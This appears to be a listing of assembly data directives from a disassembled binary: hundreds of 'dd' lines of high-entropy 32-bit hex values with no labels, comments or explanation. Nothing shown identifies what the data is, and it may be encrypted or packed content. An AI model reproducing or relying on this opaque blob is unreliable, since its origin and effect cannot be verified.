dd 0CB9E2DFEh, 50530242h, 7E840B35h, 55E1D6Eh, 80525C58h
dd 3F5F56E9h, 0C2AF21AAh, 0C6047F58h, 0A0E4535Eh, 1481D2FDh
dd 7D1FA4C3h, 0A948962Bh, 0F2D0287h, 5743F971h, 0B72C6F7Eh
dd 26216907h, 7477D952h, 48A788DFh, 2BE58007h, 1C6297E3h
dd 0B66F7DBh, 0C2D62931h, 0B273E482h, 572460F4h, 0EBA2D6Ch
dd 88285DAh, 0C66A23C1h, 0C62FEBD2h, 7AEB5427h, 4ACD2060h
dd 1335C0Ch, 4A9F30F7h, 359838CCh, 89651A00h, 9CA22D0Dh
dd 0F67EB054h, 7CC5BF4Ch, 2D84B512h, 0EF5A4DE3h, 28F44B31h
dd 2FC58581h, 606FD018h, 8E16BE5Dh, 17FAB05Eh, 7E89FF78h
dd 0D2DEB3Bh, 952FE662h, 67684881h, 0AB6C2F1Ch, 0BF3E40B1h
dd 2A5D4E0Bh, 2C7F812h, 3780F381h, 89758C0Ch, 1C3784E3h
dd 686B23FAh, 58294ACAh, 6A9701F7h, 54E93C9Bh, 14276F64h
dd 25221183h, 0B74EFB7h, 45AC058h, 0F5E90645h, 0F8CAB516h
dd 1B5CC733h, 0B76E04CFh, 44EEABD1h, 10362D70h, 0BE1313D3h
dd 6A2ECECh, 3312B776h, 4454A7EBh, 0BAB2C093h, 5B77BE12h
dd 9FEC017h, 0A3C151A9h, 0F511205Dh, 6856B004h, 55A0894Ch
dd 127C07F7h, 93C114DBh, 0F8A2E907h, 0F033B803h, 20D131Fh
dd 4022321Dh, 0D657E0D1h, 0F5054375h, 4C366B9h, 438D9001h
dd 0BB427241h, 580781C7h, 31E8F801h, 48B27C5h, 8B6917F7h
dd 44D7E073h, 0F519F211h, 0B0FF5B6Eh, 0B9249084h, 503D35E1h
dd 62251334h, 963675BBh, 312E0A94h, 0C61753D8h, 0E834CDAAh
dd 23BAFCF1h, 70028781h, 98B76DE7h, 0B22E562Ch, 0EED17688h
dd 0EFEFF413h, 0F62AF132h, 0ED5B5BE0h, 0BA7C73B9h, 4E4D0E25h
dd 15D9FD8h, 0BDE9A475h, 0ED812180h, 4A2038A9h, 602B4EB7h
dd 0FCC12361h, 847BA493h, 293FDE2Ch, 1F16C6A0h, 65EE408Bh
dd 1019829Fh, 0FF5805h, 6BADC957h, 4CC107A7h, 41880C93h
dd 1280AA35h, 30E431D7h, 8BBCCA89h, 19AC16C3h, 0EEC20984h
dd 0BD5964DAh, 794E54EAh, 9D7543FDh, 6497D679h, 8902DC09h
dd 55DB6282h, 0C40656Ch, 0CC2D5FDFh, 0C8BDACCEh, 4BE9D920h
dd 1B581CDh, 0E4D552D8h, 0F6010C71h, 28F568D9h, 0CDB62150h
dd 8C63F80h, 450ADEB7h, 0B9BEA030h, 25052349h, 1B9D4D6h
dd 704063EBh, 0E41E6F7h, 44302A6Ah, 27692AC9h, 92F15ADCh
dd 76D01402h, 566355AEh, 10BB59Dh, 0ED241BBEh, 41CC2048h
dd 8019209Dh, 0BD2B3B68h, 72F78A68h, 889F3A32h, 0CFF060F9h
dd 6DC95C2h, 6A9F00CBh, 0BD521858h, 804CECAh, 65B2FB5Fh
dd 93EFC87h, 0C0FC655Dh, 398D94C5h, 55D0AC50h, 0A5BB2ABCh
dd 9104FD0Bh, 8DCBFFE2h, 2998984Bh, 0A55D54B7h, 0E9F84976h
dd 9AAD4850h, 0C6D4BA9Ah, 5FB11D65h, 0B501ED3Eh, 0ED6D3CE4h
dd 9CEE432Fh, 0D676D74Bh, 11D40D16h, 0BEC7AA00h, 0B0288560h
dd 82B89835h, 44D508h, 755DBD3Dh, 0A5707A65h, 8385CB0Bh
dd 71AA86h, 0B050E37Fh, 0CC0FE7Ah, 34086F60h, 61C32806h
dd 0F052CA58h, 3DFB2FFFh, 34F93BE5h, 16251E1Dh, 0BBE1A3Ah
dd 67E928C0h, 56C4460h, 75D73B5Fh, 7DC10027h, 0B9510811h
dd 77240160h, 59024119h, 7D3D575Ch, 0B848185Ah, 0FA0C3F4Eh
dd 2E17F90Ch, 2D270C16h, 0A100BB3Ch, 185CF0E1h, 5433899Fh
dd 6994C247h, 0C7F61877h, 360E2D49h, 2B01EC40h, 98CAFE80h
dd 1485593Dh, 5D00744Ch, 20BB530Eh, 95F3A1Fh, 5F40D6C2h
dd 800101DCh, 8E7C13Ch, 4BD8E27Ah, 12EF8CE4h, 0F19E71CDh
dd 0ED3F2009h, 0D81F764Ah, 5A3DD910h, 8CBBFCEh, 47D8E917h
dd 2FE530EDh, 86D5F6A3h, 0FED4080Fh, 0E9DC01C4h, 0CA7F556Eh
dd 35EB02D4h, 83EFCBBEh, 2B0A0F6h, 225CBB4Ah, 1EE01AA1h
dd 82EB0360h, 1391E30Ch, 493C410Ah, 1605842Ah, 925BA3EDh
dd 0BF703BA8h, 8F5DD0CEh, 7D1F5C21h, 7E1A6302h, 7575EA68h
dd 0D5768398h, 261D86A3h, 5885552Eh, 0AA01F929h, 62D414BCh
dd 13726F20h, 0BEF55D40h, 0B6ADF912h, 3686EE80h, 0CEFE46AAh
dd 8818C90h, 0AE67F59h, 2D549670h, 0AC54E356h, 8CE925E6h
dd 10FD0909h, 823C0895h, 2F2F975h, 78795785h, 0B0497675h
dd 3149AE7Eh, 4042712Fh, 5C54E89Dh, 0F2029390h, 7DEEE3E4h
dd 7017E902h, 15041D60h, 32C9D28h, 0AFB75366h, 81D471D3h
dd 70E317h, 3036C3B9h, 59F64785h, 86A2EE29h, 0E95D0B03h
dd 2DEAF7CAh, 78C7DE57h, 5F81C944h, 0C439BA3Bh, 28228322h
dd 403FE92Dh, 60FA0833h, 803EA25Bh, 0C7E655F7h, 18205F35h
dd 0E9710C80h, 48B04133h, 754535C1h, 0EB045EA6h, 7ED61CC0h
dd 0DF7D542Fh, 19577ABBh, 0DCEC5A01h, 0AE70125Bh, 4E1C4576h
dd 35E1837Ch, 4A1B7AF0h, 3EFBBEF4h, 604578D9h, 0E9E5DCFAh
dd 246ED159h, 111C8D5Ah, 803E6D09h, 6248D053h, 0B389857h
dd 3472494h, 21121AD6h, 1DB435B8h, 0C3609FF8h, 0EB41E940h
dd 2CB0584Ah, 3A9A413Eh, 68571100h, 7EEA8F31h, 7499381Bh
dd 7838FE4Eh, 5F4E609Ch, 0B65165EFh, 0C02EF2C9h, 4A4721E4h
dd 0AD3DEF1Ch, 70895932h, 0CA0B2452h, 87AD2C79h, 28882369h
dd 0E0F604E6h, 0AA634F8Dh, 0D4B7B705h, 0BE406C8Dh, 4B6046A8h
dd 8EE5032h, 517ED946h
dd 79ECB4C6h, 8166000Fh, 2D6FA4E7h, 0C7488365h, 9DCF1FD1h
dd 707C1E89h, 0C0D173B2h, 0B77F6FE6h, 0FE0B29EBh, 5163D5E9h
dd 0EA5397E2h, 0B321468Fh, 1320C508h, 0EF37D5B9h, 54081FF5h
dd 0A1B349E9h, 80595827h, 53C6762h, 99B8052h, 304E8C0h
dd 0C688432Ch, 0C06A89BAh, 661358C2h, 9C0E8052h, 0C45ACE01h
dd 98EE0ACAh, 0E916D854h, 7AA22161h, 0BCA4513Ch, 0EA4EBB17h
dd 0E85AFA9Fh, 39B4C3A8h, 80579850h, 3B3D73ECh, 0EB166CC4h
dd 0DDF61EB1h, 0AE5852C3h, 0A12B17E5h, 0C8C0295Eh, 0B059121Ch
dd 680050D5h, 7B5179Fh, 1ECE0558h, 0C9406F5Ch, 56195E42h
dd 0F5A8852h, 0E58100D3h, 7FAE1B18h, 2375695h, 4697DBFDh
dd 2C13FA75h, 0B1D0BAE9h, 27F803Ch, 0CBFAD531h, 538CAD25h
dd 0FB6697A8h, 0A13E0199h, 3E4D32ABh, 5E1CE787h, 0B3D407C4h
dd 0C42FE3BFh, 44B1B6E9h, 840ECA6Eh, 0ECAAF01Ch, 1045A521h
dd 9DBBDF5Bh, 42457A7Dh, 73EE5D54h, 0AEAD3222h, 417E5498h
dd 0EFAF2014h, 1F4D9BF0h, 87F82815h, 86842C4Eh, 0B301A2FAh
dd 0B6AFB43Ch, 57A394FAh, 0EAE15B21h, 0A011EC2Eh, 0FDD25ED6h
dd 0F6F94A20h, 925963CDh, 28051A7Ch, 0EC885EB5h, 3CC0082h
dd 8AB95455h, 0C2D38550h, 0B4C128B5h, 5801B340h, 72F5DE89h
dd 0FB2924F3h, 16931021h, 1DBF032Ch, 79943DF7h, 81A5AECDh
dd 5422E70h, 8605B712h, 45AB1FA5h, 0BB3DB921h, 973B13DDh
dd 2916568Ch, 8268563Ch, 5E7C303Eh, 5FFC5552h, 54F4BA81h
dd 0E56019D2h, 65A0232h, 2E2C108h, 8E8CA662h, 6212D23Eh
dd 380B1174h, 0BECF60B1h, 0BA2D13ECh, 42931C6Fh, 89E4EB31h
dd 0C2B2C6C3h, 0F258F3FCh, 133023Ch, 0CE0BE974h, 0BB244FFAh
dd 6889D778h, 40A45F2Bh, 0AF06946Fh, 0B4A89C65h, 2C80B673h
dd 0C5C20142h, 68A33EA4h, 37B64BCFh, 0BE51894h, 0F764EF53h
dd 39745E4Ah, 20D98FC0h, 340BE96h, 683D5D5Fh, 0C3760C07h
dd 29B4F658h, 0DC28F491h, 0BCD79762h, 881510E4h, 17325D24h
dd 4F38AA5Fh, 3F3425E9h, 22EEF752h, 7F924A16h, 0DBB0CD01h
dd 1F3EF7A7h, 80A08B6Fh, 0F82A79D9h, 971290BDh, 4A42B433h
dd 0E75A09C0h, 0B18FD355h, 3F4139FAh, 558075E2h, 5D38B850h
dd 89226717h, 0C0751CFFh, 6913094Bh, 0BB0B534Dh, 7021DAh
dd 437CC3ACh, 724B816h, 8F6C38E3h, 9EF3C34Dh, 8F442CB9h
dd 2F7F150Ch, 93EB8053h, 0E7F75CE9h, 5E7B47E9h, 52D893Bh
dd 48F65DCEh, 38681C40h, 0BF4A0E02h, 0A01748CFh, 4955D56Ah
dd 16DF5DADh, 54E32FCDh, 1762BC54h, 93A2DBAFh, 23E2AA59h
dd 6FE18DA1h, 0B4A3DF75h, 0B7BA5201h, 2027142Dh, 6D003D86h
dd 0D1292BCDh, 0BDA2EFE9h, 31C172F4h, 5C898FC3h, 0F9FE1CD4h
dd 0AB705D79h, 5750802Bh, 65B4F79Dh, 0B059659Dh, 6F359698h
dd 95E96A17h, 1BE3DC4h, 43C7804Ah, 6F35A868h, 0B18A36CBh
dd 56686D2Ah, 0AD1D5A26h, 75129550h, 0CF011ADBh, 3B2DDA13h
dd 7B56AF3Bh, 0F8F9020Bh, 0F8212D9Eh, 0B4331C75h, 0F6E9F139h
dd 2052DD49h, 8147CD2h, 7BA6DFEh, 313F533Ch, 0EC5C8166h
dd 48E27832h, 741685Ah, 9B6FDA02h, 0A9C885FFh, 8A59BD88h
dd 9BC058A7h, 5B458986h, 68524018h, 0CA26C304h, 0C3B85A28h
dd 8860B216h, 35276849h, 2836181Eh, 3C372F0Dh, 0F38AD0Fh
dd 0E91BF529h, 0A9984986h, 0FD2E1BD7h, 0CAA2CAE6h, 21C7B4BAh
dd 85F9E6FBh, 89EE6F20h, 823642FDh, 7D2CB102h, 88CF1FA0h
dd 0D19659CAh, 0FA30EF04h, 0C9A0C1AFh, 0BF2E95D5h, 2B5A84C3h
dd 85E934C0h, 24EAB72Dh, 908B2BDCh, 700ED6D1h, 521651B4h
dd 1DAE50B2h, 97B0120Ch, 0E9D40029h, 3CD6F247h, 552C59A6h
dd 1A291A7Eh, 50C4D77h, 0D0CF61E9h, 0D6686688h, 0A230787Ah
dd 0A8CC397h, 1D2E4874h, 0D454A905h, 0F3B4AE41h, 6B4613A6h
dd 0C55CBB11h, 268A88C0h, 0B0F8098Dh, 0E092AAh, 0C5474CB9h
dd 58E18177h, 1F412705h, 0E501D9F7h, 68F06EA4h, 91E1463Fh
dd 8F2368Ah, 0EAFD254Bh, 95D2EDB2h, 2EFB7590h, 0FCFA20BAh
dd 4D3C1D06h, 7F80DB89h, 4F264976h, 8135003h, 0EE5E592Fh
dd 55FB0269h, 0BEBF0593h, 0B865CAF1h, 9A31FE2Ah, 7E626356h
dd 69E6C187h, 6D7C6F5h, 0D00DF4CEh, 0B20C0C4Eh, 242D8843h
dd 4A5FE86Ch, 5601FF1Eh, 0AE35BDE7h, 29B9C0E2h, 21B11337h
dd 0D20512E9h, 0F95FC243h, 1AF264F3h, 408E54CCh, 802DB151h
dd 0A4D7C939h, 0E10B90C1h, 2ED0A737h, 16956A73h, 0AAEF0130h
dd 55FA0D1h, 7BC9AC6Fh, 0DEBCB998h, 28EDCF88h, 0EE3C4C15h
dd 48B909D2h, 0C263E6DEh, 0EA5B17F3h, 446565Dh, 30C30C8h
dd 0C359FC04h, 0A340ED2Ah, 0C8618CF1h, 66C99720h, 0D0122A25h
dd 327E7FB6h, 211619E5h, 7ED2F077h, 1C70108h, 8AE9DFF7h
dd 0CA559F11h, 0F0188Bh, 0A3FBF29Eh, 892C0EABh, 57ABE9D0h
dd 0DE0A02Eh, 5F153AC5h, 3E8C117h, 0FA2994BAh, 5C8657CAh
dd 0A39FAC55h, 0B751E048h, 7F6D7992h, 8B88B645h, 77006F38h
dd 0E9522DFBh, 0CFC13E4Eh, 5A2020BAh, 0D5749D04h, 2B73C281h
dd 0C9300C3Dh, 0C7291F3Bh, 0E9D88215h, 6A64818Eh, 0A7C47EB7h
dd 0A72CC777h, 13E9F021h, 788873CEh, 5D814B25h, 0E04B7565h
dd 1A40BF85h, 3E014816h, 92B2462h, 2B5DAC86h, 0B22850F2h
dd 195BEC26h, 4FD6774Eh, 2BAA49F2h, 0E4635D16h, 6C7764F2h
dd 279392C2h, 0E23687Eh, 954A0A3Fh, 0EC1E4BACh, 5AE7CBD7h
dd 286E4FB1h, 10B44EFFh, 7F3013BDh, 230AE04Dh, 0DD792964h
dd 0E3C287EEh, 0AEB59745h, 807EAA1h, 5551AE72h, 8BD79AB2h
dd 113C5F5Ah, 7A6A3FB1h, 6829C509h, 9B37AA4Ah, 9ECA872h
dd 327D0A7Ch, 633685Eh, 0CF387903h, 8D3B4B0h, 0B3037E94h
dd 0CA3AB1C7h, 0B0FDAD76h, 0CDDD4ACBh, 4A234043h, 6562A50Eh
dd 0C2535A0Ch, 0C21F4276h, 34080D43h, 0D0E91400h, 7E929FDEh
dd 0E61A46C0h, 0DDAF12DDh, 0B644248Fh, 1CDE9B7h, 1353178Dh
dd 0BA8892Dh, 973A70DAh, 0B58B1CDFh, 0C02E22Bh, 15E61638h
dd 0C06A70C5h, 59BA8CBBh, 7A536813h, 480060F3h, 81746C5Fh
dd 4731B0EDh, 0B90896DCh, 60FD0101h, 0E00CC590h, 0C7E201Eh
dd 0BE101FEDh, 3868FE4Bh, 25B92408h, 0EF5CC584h, 0E9121E8Bh
dd 4563A03Dh, 995A290h, 765B5DD7h, 68C38061h, 0FFA20692h
dd 0FB415CB5h, 8903B6F0h, 2E08E1D4h, 58B29CB8h, 4165F95Dh
dd 8B434DE9h, 0C5CBFE0Ah, 0E4B6046Dh, 0D62386C0h, 0A05F6640h
dd 2C6AD2F1h, 24B2CD0h, 728C7A50h, 480CB600h, 8989028h
dd 468B3964h, 7A020424h, 0F4101F57h, 947F2F39h, 48F520F6h
dd 7842A880h, 0ADF0B53Dh, 9D0BF8D5h, 70EE22DEh, 55220D93h
dd 0B36420BBh, 25BFC55Fh, 8313BF69h, 61487FDEh, 1EA7D64Ah
dd 7950AB0Bh, 0AAC180BEh, 50530828h, 0A0EB9429h, 5E5CE908h
dd 0E0FF480h, 0AD20E641h, 4B7D1305h, 0F801AA06h, 113E797Ah
dd 4082D3F5h, 74FC3048h, 0F8A24F64h, 7BE9157Ch, 0F4A0042h
dd 0D2E96617h, 431D4096h, 76ECD889h, 2EDB60B5h, 45000CBFh
dd 633FBA52h, 4A31571Dh, 8E8AAAD5h, 0E7F50976h, 5B89A24Dh
dd 4295FAF8h, 0C21C5D84h, 6F961434h, 0E8B549BCh, 0E7F25AFAh
dd 65464004h, 21548128h, 0FD88011Eh, 685B5D82h, 597413E2h
dd 61EBE9C1h, 0DDE58801h, 0EB1C6F90h, 67CC85C5h, 0FCB88DBEh
dd 8924203h, 7FABEB51h, 3919B1B2h, 925E70C4h, 0A34932B6h
dd 0A422D7C6h, 0E25DA9EEh
dd 0F7C2E057h, 0FD11FB30h, 7E847331h, 0E7C0A409h, 75F0DD03h
dd 0E9C7FE04h, 6DD4D270h, 556581AAh, 0E0379D7Ah, 3D1C17BCh
dd 634E7261h, 0DED6A86Ah, 0F43EAF89h, 25CE6257h, 76EBBD00h
dd 0EC544A0Fh, 0CD81DDC9h, 21AC3CF2h, 65060C85h, 0BD68811Ch
dd 48602A17h, 9B6EF368h, 41210072h, 0D5F75271h, 27584D66h
dd 44E91813h, 0A72D62CAh, 4BFB451Dh, 0DDCCA542h, 7D8F570h
dd 0C3C9EA04h, 45FAF729h, 30E4AB89h, 2CC96894h, 66201492h
dd 560504CBh, 8012091Dh, 1C300147h, 5A77A5Ch, 0F415B13h
dd 0A07D2583h, 9701B83Ch, 2D6182F1h, 0E0E357DBh, 0A305E801h
dd 7A8FE007h, 84D6E999h, 39FB8B33h, 92B67E91h, 57812427h
dd 3A427B68h, 0ED96B6B2h, 3D7F02FCh, 0D75B5870h, 0D11FF2E4h
dd 68AFF6E9h, 1FE3B49Bh, 0BE01D9F4h, 0B83FAD97h, 855BA28Ch
dd 8F50FBB2h, 387705A5h, 7BC0081Bh, 48C25FDFh, 92336764h
dd 0AB2933Eh, 284FC3F8h, 0E7E80D1Ch, 59056BFh, 0AAE217E9h
dd 26ECAD9Dh, 192E9F60h, 8F32D9FFh, 87E56AC7h, 1EAD816Bh
dd 0EB5F8EB0h, 50C36559h, 8C68C5FEh, 8E246880h, 0C46C2B6Eh
dd 0E79F4ADCh, 99257B7Eh, 0BF6C5590h, 0D1565C3Eh, 6F2A65E7h
dd 59FB16B4h, 0DF3BAAEAh, 9DD398A4h, 6A11880h, 0E25B8841h
dd 48B76828h, 830C328h, 0F7800206h, 0D7E9F60Ch, 1D5542E8h
dd 1E765A68h, 495DCD60h, 3BDE2179h, 1EBF694h, 4C61C14Dh
dd 0A3B40043h, 0D5EA4F27h, 8552BF95h, 296F1B09h, 0BA40758Ah
dd 799D16B5h, 3DBE8D72h, 0EDA26B65h, 8079EB5Eh, 0AE04F2F1h
dd 45F8C000h, 0EB891B94h, 31A1C83Ch, 769941C5h, 8F3915FCh
dd 0BDCE3520h, 33F56EA0h, 7A60B560h, 4A8D880Ch, 0A197B2D3h
dd 8D28584Fh, 5CB4ABD2h, 817C03FDh, 61DBE937h, 5FB8A32Fh
dd 8F7D020Bh, 0D1CCAD1h, 0D96D5A00h, 0F68C2D28h, 884E621Dh
dd 0B9001538h, 4B665DEDh, 4A4EA975h, 0B1F2FC4h, 617FEB0h
dd 2098B8D1h, 0D7800A68h, 0E70A22EBh, 0BC896932h, 0A00E752Dh
dd 0F9A01162h, 0C8031D4Ah, 904A4F31h, 0D4D361ABh, 14F40567h
dd 0BD9F7BEEh, 6D0B45FCh, 53DAFE06h, 0CE661AF2h, 0C9D3D995h
dd 0E9BA3057h, 3053419Dh, 0DF407FFCh, 25F40580h, 0AC742968h
dd 0E9A6C1CAh, 8E3B44A8h, 24EC58DEh, 16109749h, 1D4F5925h
dd 1290B12Ah, 32404A41h, 5BF24686h, 0D2495F25h, 47A3F032h
dd 242ED195h, 3D1210CDh, 8B30985Ch, 1E5FBB0Ch, 8B4F6908h
dd 0B6A0A049h, 5CCD763Eh, 6F0C35B0h, 8627F951h, 6079EEE3h
dd 7B840C4Eh, 0D980265Ah, 611F245Ch, 8EF2023Dh, 0D9603B2Ah
dd 4BBD055Dh, 296CA831h, 614F4ADBh, 3BF61043h, 8B76288Bh
dd 7BF7957Fh, 0CAE1E4ADh, 53CE6F71h, 0C5207048h, 8A12294Eh
dd 47F254AFh, 7724A004h, 0EBFE828h, 0C18107EFh, 6F953006h
dd 227D2EA5h, 515B3589h, 5E36921Bh, 0EEDDE539h, 9668177Bh
dd 0E672287Fh, 9D21184Eh, 0CB30C888h, 375B4B4Eh, 0B04B9555h
dd 504AD63h, 362B1D40h, 59E1D881h, 813ED8h, 8C6755F6h
dd 11B8E90Ch, 7FE66BC9h, 3AFF2CA9h, 5F364108h, 0A806F46Ah
dd 53A5A15Fh, 0B46A7DDDh, 71F8F3F6h, 0C7F0F33h, 59FE95Fh
dd 10E1E3F0h, 14AFA6Ah, 388464C7h, 0FF2AA4E9h, 52AFB352h
dd 0ACA6A45Dh, 5D4D8B9Fh, 0E9063047h, 3792B51h, 162EC5C2h
dd 4EB60147h, 0A2560882h, 445E3E02h, 80F8875h, 531D8A20h
dd 0F7412C67h, 6D8668DEh, 1A3B306Bh, 305B8C3Eh, 885D2A5h
dd 5265CFE9h, 88B2AFC4h, 1A720496h, 0C4AD0E79h, 0F8F85DE0h
dd 0AC65D4B7h, 6EF84A5Ch, 0EB202508h, 20B2E94Fh, 7D390DB4h
dd 0FB5F5FBAh, 0A9F81024h, 2464411Ah, 27BDE35Fh, 0BBDEE352h
dd 8D5B64EFh, 0D1DD6ED0h, 0E58102EDh, 1AD50E68h, 34E8BC40h
dd 0E9769109h, 0C2F42B40h, 0FA215D19h, 7ADE94F5h, 0F56AB7E1h
dd 18A82E7Ah, 50785AE2h, 0FEE95116h, 0B5406CA0h, 0C06EEC70h
dd 0C407AFAAh, 6802749Bh, 187559CBh, 0B3C3115h, 2E96582h
dd 2D5EE158h, 17B813D5h, 693A0D03h, 0AFE85A8Bh, 705BF3D4h
dd 14EF1CD0h, 2E10045Bh, 260CCE9h, 0DFCF295Ch, 2E5FF0C1h
dd 680E78B3h, 0BE16759Bh, 785800CAh, 0C1016E20h, 685005EBh
dd 5EFE2AADh, 0B4BB0933h, 81BB39F7h, 2528E4F0h, 0C2F70E9Fh
dd 0C080AD9h, 0CE529E09h, 0D3F70BD3h, 0F025343h, 8BA011B6h
dd 4F5B0710h, 58301F94h, 5B558C27h, 0C000BA99h, 0E6040CC3h
dd 0EB871B4Ah, 4C4A0645h, 109042EBh, 0C640796Dh, 0BB12BF1Bh
dd 8BBF31DBh, 76C52FB6h, 2F7EA6F6h, 70AF2354h, 91D02086h
dd 2DF8D1BDh, 7F835822h, 0E044D455h, 365F95C3h, 6FF5154Fh
dd 0F7C30804h, 4B34F6A1h, 0E5C592B1h, 0F8EEFAAh, 3C7E48FEh
dd 0E7106FC8h, 0A96809D3h, 8005790Dh, 63AE50C3h, 67B223E9h
dd 17EF5858h, 83494BADh, 48A56FAh, 0C0FE7095h, 2AA9F13Dh
dd 7297EF27h, 57E8D95Bh, 0D0B062CDh, 2E5C00ECh, 0ECE932A3h
dd 29CDB755h, 4FEF32Fh, 0FB2A6856h, 5A0764A3h, 851A1B58h
dd 8EC282EEh, 0D096DD09h, 16C55B9Dh, 82DDC441h, 87090E97h
dd 37076F3Ch, 20046BEFh, 3E1BBD5Dh, 0B229FA87h, 0F286129Fh
dd 0E3B04EAh, 0EEC10556h, 1C679C0h, 10BB3F53h, 1079DF12h
dd 0AA779F0Bh, 897C5FA6h, 68335A42h, 128FEBC4h, 17D166Ah
dd 0D8442E12h, 0CCD43F19h, 0FD5B0809h, 76087C2Bh, 1E56A5C7h
dd 8FF87BE4h, 51874A31h, 0EC0CA88h, 0CF5E35DEh, 0BA47AFA4h
dd 0FBBF5B7Eh, 0B414661Bh, 8A14EA95h, 160E0090h, 0EFD8BD55h
dd 54BAEDFDh, 14CE0079h, 6CD0CB81h, 0C2DE0A8Fh, 78856BC4h
dd 6DB9493h, 6EFD5114h, 7509508Ah, 565FCB3Ch, 3F08A015h
dd 80CC295Bh, 4ADBCA10h, 0C574D7BEh, 7B87A1CBh, 18814B6h
dd 6D10D5E9h, 929D8D76h, 9D587F0Eh, 694A51BFh, 7EDE82DFh
dd 0E1C8A2B5h, 0BA3E195h, 961DF2ECh, 5BBAE0ECh, 2E48857Eh
dd 199A0019h, 0FA295EDBh, 0D5D27E9h, 0A96F0DF1h, 7FCD832h
dd 0F43483BAh, 0B8F5A561h, 8CB9032Bh, 0D11F0D0Fh, 14842E2Dh
dd 0BFCCF380h, 27371E0Bh, 0C2B259C9h, 0A5AA45F8h, 7E878955h
dd 68EEEC94h, 3E4BD60Ah, 84E97F72h, 68029706h, 187518DFh
dd 0D0BC8D4h, 10E92D4Ch, 12A233A9h, 0A2BEC3B3h, 29E19E97h
dd 8E68C6C1h, 902279C5h, 976B4FF5h, 0C22CB344h, 0AEEE171Ch
dd 0F7AB2789h, 0BE0B0B02h, 10797423h, 4EB96145h, 0A438F6E9h
dd 0EF0E80C0h, 0B9B2CF0h, 10002F8h, 9FC0B6Dh, 0CE0CAB09h
dd 0D789249Ch, 7B780CEAh, 0C2E4D055h, 0A762C3F2h, 0DF875E12h
dd 849ADFE5h, 99B4404Fh, 641A326Ch, 5D053F36h, 2B37D9ABh
dd 887F0102h, 5940FFD1h, 0CF27FE58h, 7DD47866h, 0B01B989Bh
dd 0CC65978Eh, 4EFC081h, 6E70DFF6h, 0D80FBF33h, 0C5A7DD0Eh
dd 89F58306h, 8860EDDAh, 7B97F7A4h, 0EF50344Bh, 7B9D3444h
dd 9F9BD9BBh, 64965EE3h, 0B006C6h, 0C68001B6h, 2EEC0A0h
dd 9CEFE2Dh, 0DC6E04D7h, 0F88BEF16h, 20F66627h, 0D7CDC362h
dd 0F7FC999Ah, 90770B10h, 74306F0Ah, 0CB224193h, 61C0366Ch
dd 0B23F2071h, 6B704519h, 9F323B76h, 2500B95Ah, 9705D15Fh
dd 6892EF66h, 128D5620h, 64B2AE5Fh, 2B15E9B0h, 0B79ABDh
dd 0CF8002BBh, 1106B5ABh, 0D19CB0FDh, 3128B901h, 87617157h
dd 98AE6EE8h, 7CC9058Ch, 83D3922h, 680B40B6h, 501AD755h
dd 0BA037E40h, 0D3BD80h, 0BB2E635Fh, 11ED1C94h, 9D0904BCh
dd 5578A94Dh, 358FE4E0h
dd 3BD7234Ch, 0EA0609EFh, 3F7B85C0h, 0C03624BEh, 7B68054Ch
dd 2D994049h, 0B9B1000Ah, 4C5D6396h, 6402CF36h, 29D06B1Ah
dd 0B3D120FFh, 0FC27A537h, 0FEBE4953h, 0BA946885h, 9D547CCCh
dd 0FFEB695Eh, 3D4FBA14h, 0CCFBCF17h, 2B4EAAF8h, 604CD3A2h
dd 6AA35527h, 26C04C76h, 4198E8D1h, 2441F14Eh, 67692954h
dd 178B4E60h, 0BF33D32Dh, 81502821h, 1E6E9081h, 0A05E6577h
dd 584E07D0h, 422727ECh, 0E724C172h, 0DF0F7105h, 0C5A4928h
dd 901E10ADh, 127AC8C1h, 69BAED81h, 0DA414B3Ah, 813375DBh
dd 0C0195A78h, 6852FD44h, 8BFB0A64h, 0C06BA2EAh, 0D58BE56h
dd 76304C94h, 0C9222907h, 36E6602Ah, 0C12EA64h, 0E3EEBB68h
dd 0FF2113DBh, 659585B6h, 8DE95781h, 3EF65025h, 7009662Fh
dd 5E59CF89h, 0A15712DAh, 98D6D941h, 5F50FF0Bh, 50CF0681h
dd 0EA576F4Fh, 81633829h, 0D2485B05h, 0E537A1AEh, 2379D0F5h
dd 0E452830h, 0B5EC7D7h, 2795E90Ch, 680521F9h, 0DCCD6B7Ah
dd 24A20AAh, 53515A59h, 6377C388h, 0EB0C26BEh, 0E73FB483h
dd 0E65C8B33h, 41C3B9D3h, 4C202768h, 0DB01B1A4h, 0E90DC180h
dd 442F2536h, 99666388h, 0B6093EFAh, 6A09A98h, 4B552286h
dd 59F4A0D0h, 55A904BFh, 3F6789AAh, 0BEB26F0h, 29AD8C57h
dd 0FEA52865h, 315671ABh, 0A9577E74h, 0E9E990ABh, 0F4AA519Eh
dd 0F139F44h, 8515C8B7h, 38BB027Dh, 551318A8h, 8E001B89h
dd 4EB95C4Fh, 20C074B5h, 95A0B08h, 4E551C5Fh, 880FB306h
dd 873D0916h, 0B72DBECAh, 1AEAC08Eh, 0BD3A1424h, 74792CF8h
dd 8C4F489Dh, 4952935Ch, 23AAB0D7h, 215E8164h, 4E822987h
dd 14842ACh, 93875201h, 9EC53117h, 0C8EAE93Bh, 2FA06C97h
dd 0C1D43E6Dh, 1FC825C7h, 278AC85Dh, 86635625h, 0C88B08BBh
dd 48147AF2h, 2D94136h, 0E31D0CE7h, 8AA616Eh, 5C6C80C4h
dd 7310DF01h, 26D14CCCh, 83179910h, 43822137h, 0B981A047h
dd 24180B82h, 59494Dh, 1EA7F96Ah, 275A0CE9h, 955EEA8Ch
dd 0E9E297F4h, 17E458CBh, 0BB2DE829h, 7601D352h, 7E600582h
dd 0D558EA3Ah, 247858CEh, 0F1C0D92h, 895DF843h, 0BA88DF31h
dd 0AE5F968Bh, 0D8E29977h, 90E9EE09h, 98A6B4D8h, 0D509ABA7h
dd 0C16350FAh, 0B9203549h, 0BAEC4C02h, 0FA4E979Bh, 395A649Fh
dd 0B4E5FACh, 0CC5F25CDh, 0E16E9C8Ah, 524C5DE9h, 474ED9FFh
dd 49ECC107h, 0C2EE28F1h, 0A048A9E9h, 8BBA52C5h, 58866B03h
dd 7DF80B55h, 0C09816C0h, 8A3D3C26h, 0A2034905h, 88F5B109h
dd 5E090862h, 5330D789h, 2B20E950h, 0FD7904Eh, 75EB28A6h
dd 0FAF04965h, 776F2D32h, 57E44BFCh, 0CFCF08EBh, 5E0E6805h
dd 0E21637BFh, 0F6557C9Fh, 0EEDF52E6h, 24E91202h, 5B99320Ah
dd 0F9AA5C5Dh, 274328D1h, 7ACA5F42h, 7B04F5DAh, 5D4FD558h
dd 9269F2BFh, 4E96CAABh, 159FCBFEh, 977B070Fh, 0E9915F8h
